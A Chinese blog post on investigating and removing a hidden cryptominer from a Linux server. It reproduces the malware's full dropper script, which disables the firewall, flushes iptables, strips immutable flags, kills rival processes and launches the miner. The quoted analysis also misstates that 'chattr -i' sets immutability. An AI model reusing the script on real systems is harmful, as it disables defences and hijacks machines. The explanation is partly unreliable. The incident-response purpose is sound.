阅读量:0
病毒排查
起因
用htop命令发现32个线程被完全占用，但是没有显示相应的进程，怀疑是中病毒了。
分析
用unhide proc命令查看隐藏进程，得到：
Found HIDDEN PID: 3010499 Cmdline: "<none>" Executable: "<no link>" "<none> ... maybe a transitory process" Found HIDDEN PID: 3010501 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010502 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010503 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010504 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010505 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010635 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010636 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010637 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010638 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010639 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010640 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010641 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010642 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010643 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010644 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010645 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010646 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010647 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010648 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010649 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010650 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010651 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010652 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010653 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010654 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010655 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010656 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010657 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010658 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010659 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010660 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010661 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010662 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010663 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010664 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010665 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010666 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010667 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010668 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010669 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010670 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010671 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010672 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010673 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010674 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010675 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010676 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010677 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010678 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010679 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010680 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010681 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010682 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010683 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010684 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010685 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010686 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010687 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010688 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010689 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010690 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010691 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010692 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010693 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010694 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010695 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010696 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010697 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root Found HIDDEN PID: 3010698 Cmdline: "/tmp/netools" Executable: "/tmp/netools" Command: "netools" $USER=<undefined> $PWD=/root 尝试把进程kill掉，但是很快CPU又被侵占了。确认就是病毒。
然后用ps命令想再查看一次进程时：
ps aux --sort=-pcpu | head -10 发现
root 3024733 0.2 0.0 12580 3288 ? S 10:30 0:00 /bin/lRrlrT3D -c #!/bin/bash crontab -r >/dev/null 2>&1 ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | (test -e /bin/.locked && grep -vwf /bin/.locked) | awk '{if($3>40.0) print $2}' | while read procid; do kill -9 $procid; done 2>/dev/null ufw disable >/dev/null 2>&1 iptables -P INPUT ACCEPT 2>/dev/null iptables -P OUTPUT ACCEPT 2>/dev/null iptables -P FORWARD ACCEPT 2>/dev/null iptables -F 2>/dev/null chattr -i /usr/sbin/ >/dev/null 2>&1 chattr -i /usr/bin/ >/dev/null 2>&1 chattr -i /bin/ >/dev/null 2>&1 chattr -i /usr/lib >/dev/null 2>&1 chattr -i /usr/lib64 >/dev/null 2>&1 chattr -i /usr/libexec >/dev/null 2>&1 chattr -i /etc/ >/dev/null 2>&1 chattr -i /tmp/ >/dev/null 2>&1 chattr -i /sbin/ >/dev/null 2>&1 chattr -i /etc/resolv.conf >/dev/null 2>&1 chattr -i /etc/cron.d/systeml >/dev/null 2>&1 chattr -i /etc/cron.weekly/systeml >/dev/null 2>&1 chattr -i /etc/cron.hourly/systeml >/dev/null 2>&1 chattr -i /etc/cron.daily/systeml >/dev/null 2>&1 chattr -i /etc/cron.monthly/systeml >/dev/null 2>&1 chattr -ia /etc/ld.so.preload 2>/dev/null cat /dev/null > /etc/ld.so.preload 2>/dev/null # Check if a file exists containing the previous filenames if [ -e "/usr/lib/systemd/previous_filenames1" ] && [ -e "/usr/lib/systemd/previous_filenames2" ]; then # Read the previous filenames from the files read -r file1 < "/usr/lib/systemd/previous_filenames1" read -r file2 < "/usr/lib/systemd/previous_filenames2" else # Generate new random filenames file1="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)" file2="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)" # Save the filenames to files for the next run echo "$file1" > "/usr/lib/systemd/previous_filenames1" echo "$file2" > "/usr/lib/systemd/previous_filenames2" fi # Move the files to their new names mv x86_64 "$file1" 2>/dev/null mv i386 "$file2" 2>/dev/null BACK="$file1" SERVICE="netools" NEO="$file2" EXEC="netools" DIR="/tmp" LOCK_FILE="/bin/.locked" chattr -iaus /etc/cron.*/$COPY /etc/init.d/$COPY 2>/dev/null if [ -e "/bin/.locked" ]; then PID=$(cat /bin/.locked) else # echo "Creating /bin/.locked" touch /bin/.locked 2>/dev/null truncate -s 0 /bin/.locked 2>/dev/null PID=0 # Set an initial value, assuming 0 is not a valid process ID fi # Check if the corresponding directory exists in /proc/ if [ -n "$PID" ] && [ "$PID" -ne 0 ] && ls -la "/proc/$PID" > /dev/null 2>&1; then echo "Running" else echo "Not running" cp "$BACK" "$DIR/$EXEC" 2>/dev/null cp "$NEO" "$DIR/neo" 2>/dev/null chmod +x "$DIR/$EXEC" 2>/dev/null chmod +x "$DIR/neo" 2>/dev/null # Check if the process is not already running before starting it if [ -z "$(pidof "$EXEC")" ]; then "$DIR/$EXEC" --tls >/dev/null 2>&1 sleep 2 PID=$(pidof "$EXEC") fi truncate -s 0 /bin/.locked echo "$PID" > /bin/.locked 2>/dev/null fi sleep 5 "$DIR/neo" "$PID" >/dev/null 2>&1 sleep 2 pkill -f fold pkill -f cat pkill -f tr /bin/lRrlrT3D 1 1 初步断定这个可执行文件就是罪魁祸首，用ChatGPT分析得到这个脚本的作用：
找到并终止当前系统中CPU占用率超过40%的进程
调整系统的网络设置，其中包括禁用
ufw防火墙，以及将iptables默认策略设置为允许所有的输入、输出和转发。设置
/usr/sbin/目录的 “immutable” 属性，使得该目录不可以被修改或删除。还有其他的一些文件夹。检查
/usr/lib/systemd/previous_filenames1和/usr/lib/systemd/previous_filenames2这两个文件是否存在。如果文件存在，则读取里面的内容（是文件名）如果文件不存在，那么生成两个新的随机文件名，并将其赋值给变量 file1 和 file2（
file1="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1）。将生成的新文件名保存到两个previous_filenames1和2中，以便下次运行时使用。将文件 x86_64 重命名为 file1，i386 重命名为 file2。（这个好像不重要）
设置一些变量，包括备份文件名、服务名、新文件名等。
BACK="$file1" SERVICE="netools" NEO="$file2" EXEC="netools" DIR="/tmp" LOCK_FILE="/bin/.locked" chattr -iaus /etc/cron.*/$COPY /etc/init.d/$COPY 2>/dev/null取消文件属性。- 检查锁定文件和进程状态：检查是否存在/bin/.locked，如果存在，读取其中的PID。如果不存在锁定文件，创建并设置PID为0：
- 检查进程是否正在运行：检查指定PID的进程是否存在。
- 如果进程不在运行中，则复制文件、修改权限并启动进程：
cp "$BACK" "$DIR/$EXEC" 2>/dev/null cp "$NEO" "$DIR/neo" 2>/dev/null chmod +x "$DIR/$EXEC" 2>/dev/null chmod +x "$DIR/neo" 2>/dev/null if [ -z "$(pidof "$EXEC")" ]; then "$DIR/$EXEC" --tls >/dev/null 2>&1 sleep 2 PID=$(pidof "$EXEC") fi truncate -s 0 /bin/.locked echo "$PID" > /bin/.locked 2>/dev/null - 等待5秒，然后终止特定的进程：
sleep 5 "$DIR/neo" "$PID" >/dev/null 2>&1 sleep 2 pkill -f fold pkill -f cat pkill -f tr /bin/lRrlrT3D 1 1 总的来说，就是用/bin/lRrlrT3D这个可执行文件调用一个脚本，这个脚本把 x86_64 和 i386 可执行文件重命名并运行了，可能是为了lRrlrT3D这个可执行文件后续做什么，这个就不知道了。
处理
首先，先关闭定时启动
vim /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) 注释掉： # 17 * * * * root cd / && run-parts --report /etc/cron.hourly # 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) # 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) # 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) 其次，删除可执行文件。
/etc/cron.hourly文件夹中的可执行文件，是一串英文的文件：
cat /etc/cron.hourly/nek3MFYw # */1 * * * * root /bin/lRrlrT3D 1 1 同样还有/etc/cron.hourly、 /etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly
删除
/bin/lRrlrT3D查看
previous_filenames1和previous_filenames2中的内容（假如是XXX），删除/bin/XXX、/tmp/XXX和/tmp/neo。
最后reboot
注意
在这中间发现没办法开启终端访问服务器，后面发现是因为删除了/dev文件夹中的很多文件（应该是病毒删除的），reboot就恢复了。
